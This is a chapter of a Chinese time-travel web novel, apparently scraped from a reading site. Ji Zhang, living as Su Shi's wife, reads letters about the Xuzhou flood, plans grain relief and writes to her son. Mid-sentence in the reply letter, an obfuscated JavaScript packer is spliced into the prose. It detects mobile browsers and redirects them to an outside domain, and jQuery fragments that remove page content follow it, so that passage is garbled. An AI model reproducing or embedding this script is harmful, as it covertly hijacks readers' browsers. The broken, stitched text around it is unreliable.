季璋一愣,难以置信道:“一州之长居然忙得连回府的时间也没有吗?”
若是这样,她还不如将苏过带在自己身边。这孩子与自己再怎么不亲,也终归是原主身上掉下的肉。她虽不得已“鸠占鹊巢”占了原主的身体,但也该替她担起养娃的责任。
二宝眼中划过一抹无奈,点头解释道:“听闻这次的洪水是黄河从澶州决口过来的,连带着连日暴雨,那水到徐州时都快有徐州城墙高了。城内许多富户纷纷出逃,主君若非亲力亲为,光靠一纸禁行令,压根无人会听。”
城内富户大量出逃,就算灾后重建有官府主持经济复苏,若是没有行会富户的牵头带领,这城无异于也是废了。
这些话一听便是朝云说的,更别提二宝脸上那似曾相识的洞察一切的神情。
季璋将那张有水渍的纸摊开放在一旁,头一次苏轼来信的归宿不是火盆,“朝云还说了什么,二宝你一鼓作气说完罢。”
“娘子聪慧,她此次来信确实还有些请求。”
得到命令,二宝不再遮掩,鼓起勇气将信中的最后一点内容托盘而出,“朝云说……她带过去的钱已经所剩无几了,上次寄过去的一百贯也用光了,不知娘子还能不能再寄些钱过去。”
“她拿去布施济民了?”季璋抽信的手一顿。
距离上次寄钱,不过才过了半月。除了这个,季璋实在是想象不到她如何短时间内,在被老天爷摁下暂停键的徐州花出这么大笔钱。
二宝道:“洪水一淹,地里的、家里的食材那些全都废了。苏府有公衙撑着无甚影响,但城外遍地乞儿,朝云说她实在是不忍心……”
言尽于此,她还有什么不懂。不过她当初真是因朝云的这份善心才将其留在身边,眼下这般只道是意料之中。
季璋摩挲着苏迈的第五封信,客观分析道:“城外农作物被毁,城内又禁行。徐州城内的东西,应是周边送去的,这物价怕是高得离谱。”
此等情况下的一百贯,又值几个钱?大抵就是听着多,事实上用来布施撑不过三日。
“娘子,咱们这次寄多少过去哩?”二宝小心翼翼问道。物价虚高,有再多的钱都填不满这窟窿。
季璋不假思索回道:“一百贯。”
“……娘子,您这是不支持朝云布施吗?”二宝依稀记得自家娘子在杭州,还时常让朝云出去布施。
“这一百贯,是朝云作为铺子小股东该有的分红。至于布施,”
提及这陌生又熟悉的词,季璋不禁望向苏迨屋子所在的方向,“阳羡到徐州不过半月余,物价却比徐州低不少,不如直接在此买了粮食送去。”
二宝恍然大悟,似是打通了任督二脉般当即明白了自家娘子的用意:“此地买粮送去,虽麻烦了些,还有雇佣遣送的人工费用,但朝云有钱傍身就不用如此拮据了。”
季璋点头肯定,顺势抽出了苏迈的第五封信,加快了看信的速度,“二宝你觉得这封信里,迈哥儿会写什么?”
加上买粮一事,明日要做的事情骤然就多了起来,今晚得早些睡了。
“好话歹话都说完了,这封信该轮到主君了吧。”二宝整理着拆开的信件,抽空猜测着。
季璋粗略扫了一遍,嘴角忍不住地上翘,“嗯……猜错了。”
听着自家娘子上扬的尾音,二宝不禁也染上了笑意,“娘子如此高兴,莫不是又是与苏大娘子有关?”
季璋笑道:“这傻孩子全然不知自己的心意,现在已经开始怀疑成家立业的顺序了。”
【吕氏平素温婉贤惠,周遭所有人皆以持家有方赞之,然其不过一事事需人过问的二八娘子。儿已二九,亦为其夫,自担其责。故父亲曾言先成家后立业,乃前人之经,儿如今却觉此言差矣……】
通过纸上的只言片语,季璋已然窥见了苏迈独坐书房,却仍无法心静温书的煎熬抓狂。
“他爹好像就是成亲后第一年科举的,这样说来迈哥儿是不是明年也要参加科举了?”一些独属于原主的回忆似是封尘的锁链生了锈,毫无征兆蹿入季璋脑海里。
思及此,季璋嘴角的笑意僵住,急切地拿起了第六封信,迫切地想要知晓苏迈情窦初开的真实情况,“这倒是我这个做娘的疏忽了,哪有人生来就懂如何处理情情爱爱的?”
然第六封信好像并没有给出季璋想要的答案,二宝瞧着自家娘子愈发凝重的眸子,主动缓解着氛围,“娘子,回信是今晚写,还是明儿再写呀?”
“今晚写。”季璋头也不抬地继续扫视着手中的信,压根没有察觉二宝已然预判起身。
尽管她争分夺秒地看,但这封信的进度仍出奇地缓慢。待二宝折身端着砚台回来时,只见自家娘子第一页都还未翻篇。
墨条与砚台相撞发出“滋滋”声,搅拌着屋内即将凝滞的氛围。眼瞅着砚台汪起了一团墨水,烛台上的半截红烛已尽数化为蜡油,季璋才从信中抬起了头。
她开口却道:“二宝,去换个烛台来。”在蜡油中苟延残喘的火苗跳跃闪烁,忽明忽暗的烛光晃得季璋眼睛疼。
瞧着不过两三纸,居然还未看完。
“是。”二宝摁下心中疑惑,将床边还剩一半红烛的烛台暂时替换过来,自己则端着见底的烛台出了屋。
待二宝从隔壁屋换了一盏新的烛台回来后,自家娘子却已开始提笔写信了。
“娘子,不看第七封信了吗?”二宝有些错愕。她只是出门去了隔壁屋,应该没有耽搁太长时间。
“看完了。”第七封信是关于徐州水患和迈哥儿他爹的,与朝云的话相互映衬,好似都在帮只留下了一个字的苏轼解释。
恰逢手中的毛笔没了墨汁,趁着笔头吸墨之际,季璋顺势叮嘱道:“二宝明日至少准备三百贯,咱明儿要去大采买。”除了给新媳妇的见面礼,还有送往徐州的物资。
“是。”暂时顶替了朝云工作的二宝低头,默默盘算着从哪个店铺面上支取最为方便。
屋内一时之间除了提笔写信的沙沙声之外再无旁声,空中又陷入一阵诡异的寂静。好在时间并不长,待新烛又流下红泪时,季璋终于合眼躺上了床,结束了今晚。
二宝收拾着桌上残局,她规矩地没有翻看那封自家娘子瞧了很久的信,却仍不小心瞧见了自家娘子摊开放在桌上的回信。
【……我的不幸,不代表你的未来同样不幸。吕楚是个善解人意的好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906647|148825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姑娘,好好对人家。至于我的归期·你我母子二人有缘自会再见。】
“期”字后面本该是间隔留白的区域,此刻却晕染着透到纸背的墨团,在一尘不染的白纸上格外扎眼。
提笔犹豫,踌躇不肯落笔,方留此痕迹。
二宝不禁抬头望向屏风之后床上若隐若现的小山丘——娘子是想回苏府了吗?
*
翌日,晨光熹微。
深秋的清晨已然裹上了寒意,挂着“王”字木牌的马车迎风伫立在街旁。
“娘子,我问了所有米店的价格都是六百文一石,若是买得多每石可便宜二十文。”二宝裹紧了身上的厚衣,站在车外回禀道。
季璋掖了掖苏迨身上的毯子,随后掀帘望着街上清一色的米铺,不禁问道:“年前不是才四百五十文一石吗,阳羡又未遇天灾人祸,怎么突然涨了这么多?”
二宝解释道:“听店内掌柜说,此次澶州决口牵连的地区除了徐州,还有济州、泗州等四十州县。阳羡虽没有波及,但许多外地人都来买米,市场供不应求,这价自然就上去了。”
这些情况,还是她硬拉着掌柜讲价,掌柜逼不得已才告诉她的。
“咱们年初应该多囤些米的。”季璋闻言懊恼不已。
她这次不仅要买送去徐州的米,还正巧碰上店内补货。她光是瞧着米店内白花花的米,便已然感觉自己的钱袋子已经瘪了一半。
这下,才真是要大出血了。
二宝回头瞧了瞧,确定周遭无人后上前轻声道:“娘子,我今日带了四百贯。不若咱们先去买给苏大娘子的首饰,余下再瞧需要买多少米粮,可好?”
这四百贯含有昨日钱叔刚寄来的分红二百贯,以及宅内中馈账面上的二百贯。若是不够,她一会儿再去食肆账面上直接支取便好。
“走吧。”季璋放下车帘,二宝坐上马车,月牙甩动马鞭,一行人朝着最为繁华的市集区——邵家酒楼所在的街道驶去。
*
邵楼街。
邵家酒楼位于三岔路口处,城外食肆与太湖书院在一侧,另一侧则是金银器、珠玉首饰以及一些手工店铺。
马儿踩着正步缓缓停在阳羡最大的首饰铺子——蒋家金银铺前,季璋掀开车帘借着月牙搀扶重新回到地面。
“咱们等着二宝来了,再一起进去。”季璋道。
苏迨懂事,但女眷众多的易碎场合,带着小萝卜头去着实不方便。故而在岔口时,她便让二宝将苏迨带回食肆了。
瞧着牌匾上金灿灿的五个大字,钱袋子即将瘪一半的季璋忍不住和月牙八卦道:“月牙你说这是真的金箔,还是和咱们那些一样是仿金的?”
月牙顺着她的视线望去,盯了半晌后道:“应该和咱们的是一样的,不然定有宵小之辈觊觎,一挂上怕是就没了。”
“你说得在理。”季璋仿佛被戳中了心事,欲盖弥彰地收回了灼热的视线。
恰逢二宝回来,季璋有了主心骨般飘忽不定的视线重新聚焦显神,却略过二宝警惕地放在了跟在其身后的几位陌生人身上,“走吧……这几位娘子是?”
怎么放下一只萝卜头,又带了几只小尾巴回来?